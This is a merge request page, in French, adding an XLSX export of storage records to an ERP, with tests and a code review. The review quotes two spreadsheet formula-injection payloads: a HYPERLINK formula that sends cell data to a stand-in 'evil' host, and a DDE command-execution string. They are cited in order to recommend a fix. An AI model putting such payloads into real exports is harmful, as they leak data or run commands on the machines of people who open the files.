feat(catalog) : M7 — export XLSX des stockages (ERP-214) #166

Merged
tristan merged 1 commits from feat/erp-214-storage-export-xlsx into develop 2026-06-30 06:00:04 +00:00
Owner

M7 · ERP-214 (1.5) — Export XLSX des stockages

⚠️ MR empilée sur feat/erp-213-storage-provider-processor (#165) → #164#163#162. À merger dans l'ordre 210 → 211 → 212 → 213 → 214.

Exporte toute la liste des stockages en XLSX, filtres actifs appliqués. Pattern miroir ProductExportController (ERP-202).

Livré

  • StorageExportControllerGET /api/storages/export.xlsx, controller custom #[AsController] avec priority: 1 (sinon API Platform capterait l'URL comme l'item {id}.{_format}). Sécurité is_granted('catalog.storages.view').
  • Toute la liste (pas de pagination) via StorageRepositoryInterface::createListQueryBuilder() — l'export reflète exactement la vue liste. Soft-deleted exclus (RG-7.07).
  • Filtres réappliqués : ?search= (numero), ?siteId[]=, ?storageTypeId=, ?state= (mêmes lecteurs que StorageProvider).
  • Colonnes (§ 4.5) : Nom (displayName), Site (« Nom (Code) »), Type de stockage (label), Numéro, États (Réception/Production/Triage joints, ordre canonique), Créé le, Modifié le.
  • Génération déléguée au service Shared SpreadsheetExporterInterface (réutilisé, M6).
  • Test : StorageExportControllerTest (8 cas).

Note — pas d'entrée CollectionsArePaginatedTest::EXCLUDED

Le prompt suggérait de whitelister. Mais ce test ne scanne que les classes #[ApiResource] ; un controller custom n'en est pas un (la whitelist est d'ailleurs vide et ProductExportController n'y figure pas). En miroir de l'export produit, aucune entrée EXCLUDED n'est nécessaire — le garde-fou reste vert tel quel.

Vérifications

  • StorageExportControllerTest (8 tests, 50 assertions) : 200 + Content-Type XLSX + Content-Disposition (stockages-AAAAMMJJ.xlsx) + ligne d'en-têtes ; exclusion soft-delete ; filtres ?search / ?storageTypeId / ?state respectés ; colonnes métier peuplées (displayName, site « Nom (Code) », type, numéro, états joints, dates jj/mm/aaaa hh:mm) ; 403 sans catalog.storages.view ; 401 anonyme.
  • make test : CollectionsArePaginatedTest vert ; module Catalog complet 131/131 sur run propre (un run intermédiaire a montré 2× le flaky JWT 401 — disparu au re-run).
  • make php-cs-fixer-allow-risky : clean.
## M7 · ERP-214 (1.5) — Export XLSX des stockages > ⚠️ **MR empilée** sur `feat/erp-213-storage-provider-processor` (#165) → #164 → #163 → #162. À merger dans l'ordre 210 → 211 → 212 → 213 → 214. Exporte toute la liste des stockages en XLSX, filtres actifs appliqués. Pattern miroir `ProductExportController` (ERP-202). ### Livré - **`StorageExportController`** — `GET /api/storages/export.xlsx`, controller custom `#[AsController]` avec **`priority: 1`** (sinon API Platform capterait l'URL comme l'item `{id}.{_format}`). Sécurité `is_granted('catalog.storages.view')`. - **Toute la liste** (pas de pagination) via `StorageRepositoryInterface::createListQueryBuilder()` — l'export reflète exactement la vue liste. Soft-deleted exclus (RG-7.07). - **Filtres réappliqués** : `?search=` (numero), `?siteId[]=`, `?storageTypeId=`, `?state=` (mêmes lecteurs que `StorageProvider`). - **Colonnes (§ 4.5)** : Nom (`displayName`), Site (« Nom (Code) »), Type de stockage (`label`), Numéro, États (Réception/Production/Triage joints, ordre canonique), Créé le, Modifié le. - Génération déléguée au service Shared `SpreadsheetExporterInterface` (réutilisé, M6). - **Test** : `StorageExportControllerTest` (8 cas). ### Note — pas d'entrée `CollectionsArePaginatedTest::EXCLUDED` Le prompt suggérait de whitelister. Mais ce test ne scanne que les classes `#[ApiResource]` ; un **controller custom** n'en est pas un (la whitelist est d'ailleurs vide et `ProductExportController` n'y figure pas). En miroir de l'export produit, **aucune entrée `EXCLUDED` n'est nécessaire** — le garde-fou reste vert tel quel. ### Vérifications - `StorageExportControllerTest` (8 tests, 50 assertions) : 200 + `Content-Type` XLSX + `Content-Disposition` (`stockages-AAAAMMJJ.xlsx`) + ligne d'en-têtes ; exclusion soft-delete ; filtres `?search` / `?storageTypeId` / `?state` respectés ; colonnes métier peuplées (displayName, site « Nom (Code) », type, numéro, états joints, dates `jj/mm/aaaa hh:mm`) ; **403** sans `catalog.storages.view` ; **401** anonyme. - `make test` : `CollectionsArePaginatedTest` vert ; module Catalog complet **131/131** sur run propre (un run intermédiaire a montré 2× le flaky JWT 401 — disparu au re-run). - `make php-cs-fixer-allow-risky` : clean.
tristan added the type/featbackM7-Stockage labels 2026-06-29 14:51:06 +00:00
Author
Owner

Revue de code — M7 Stockages

🔴 Injection de formules XLSX (CSV/DDE)StorageExportControllerPhpSpreadsheetExporter::export

Les valeurs numero / displayName (saisies utilisateur, non restreintes en charset) sont écrites via Sheet::fromArray(), qui passe par le DefaultValueBinder : une cellule commençant par = + - @ est interprétée comme formule. Un numero = =HYPERLINK("http://evil/?x="&A1) ou =cmd|'/c calc'!A1 s'exécute à l'ouverture du fichier par un autre admin (exfiltration / DDE).

⚠️ Infra partagée : ProductExportController est exposé de la même façon. → Neutraliser dans PhpSpreadsheetExporter (setValueExplicit(TYPE_STRING) ou préfixe ' sur les cellules à risque) — correctif au bon niveau qui couvre les deux exports.

🟠 Export divergent du listing pour ?search=0StorageExportController (lecture des filtres)

$request->query->getString('search') ?: null coerce la chaîne "0" (un numero VARCHAR valide) en null ; le provider (readSearch) garde "0". Liste filtrée à l'écran, export complet dans le XLSX → contredit le contrat « l'export reflète ce que l'utilisateur voit ».

🟠 Export 400 sur paramètre tableau — même bloc

getString('search') lève une BadRequestException sur ?search[]=x ; le provider tolère (is_string/is_array). Un lien mal formé casse l'export mais pas la liste.

→ Les trois points ci-dessus (+ siteId=0/storageTypeId=0 côté provider) ont la même racine : double parsing des filtres. Factoriser un StorageListFilters partagé provider ↔ export.

🟡 Export non borné / non streamé__invoke

createListQueryBuilder(...)->getQuery()->getResult() matérialise tout le résultat filtré (entités + jointures site/type) en mémoire — pas de setMaxResults, pas de toIterable() + em->clear(). Sans filtre sur grosse table : risque OOM / timeout (même échappatoire via ?pagination=false). Le générateur buildRows() n'apporte rien tant que sa source est déjà matérialisée.

### Revue de code — M7 Stockages **🔴 Injection de formules XLSX (CSV/DDE)** — `StorageExportController` → `PhpSpreadsheetExporter::export` Les valeurs `numero` / `displayName` (saisies utilisateur, non restreintes en charset) sont écrites via `Sheet::fromArray()`, qui passe par le `DefaultValueBinder` : une cellule commençant par `=` `+` `-` `@` est interprétée comme **formule**. Un `numero` = `=HYPERLINK("http://evil/?x="&A1)` ou `=cmd|'/c calc'!A1` s'exécute à l'ouverture du fichier par un autre admin (exfiltration / DDE). ⚠️ Infra partagée : `ProductExportController` est exposé de la même façon. → Neutraliser dans `PhpSpreadsheetExporter` (`setValueExplicit(TYPE_STRING)` ou préfixe `'` sur les cellules à risque) — correctif au bon niveau qui couvre les deux exports. **🟠 Export divergent du listing pour `?search=0`** — `StorageExportController` (lecture des filtres) `$request->query->getString('search') ?: null` coerce la chaîne `"0"` (un `numero` VARCHAR valide) en `null` ; le provider (`readSearch`) garde `"0"`. Liste filtrée à l'écran, **export complet** dans le XLSX → contredit le contrat « l'export reflète ce que l'utilisateur voit ». **🟠 Export 400 sur paramètre tableau** — même bloc `getString('search')` lève une `BadRequestException` sur `?search[]=x` ; le provider tolère (`is_string`/`is_array`). Un lien mal formé casse l'export mais pas la liste. → Les trois points ci-dessus (+ `siteId=0`/`storageTypeId=0` côté provider) ont la même racine : **double parsing des filtres**. Factoriser un `StorageListFilters` partagé provider ↔ export. **🟡 Export non borné / non streamé** — `__invoke` `createListQueryBuilder(...)->getQuery()->getResult()` matérialise tout le résultat filtré (entités + jointures site/type) en mémoire — pas de `setMaxResults`, pas de `toIterable()` + `em->clear()`. Sans filtre sur grosse table : risque OOM / timeout (même échappatoire via `?pagination=false`). Le générateur `buildRows()` n'apporte rien tant que sa source est déjà matérialisée.
tristan changed target branch from feat/erp-213-storage-provider-processor to develop 2026-06-30 06:00:02 +00:00
tristan added 1 commit 2026-06-30 06:00:02 +00:00
tristan merged commit ffc694ac6c into develop 2026-06-30 06:00:04 +00:00
Sign in to join this conversation.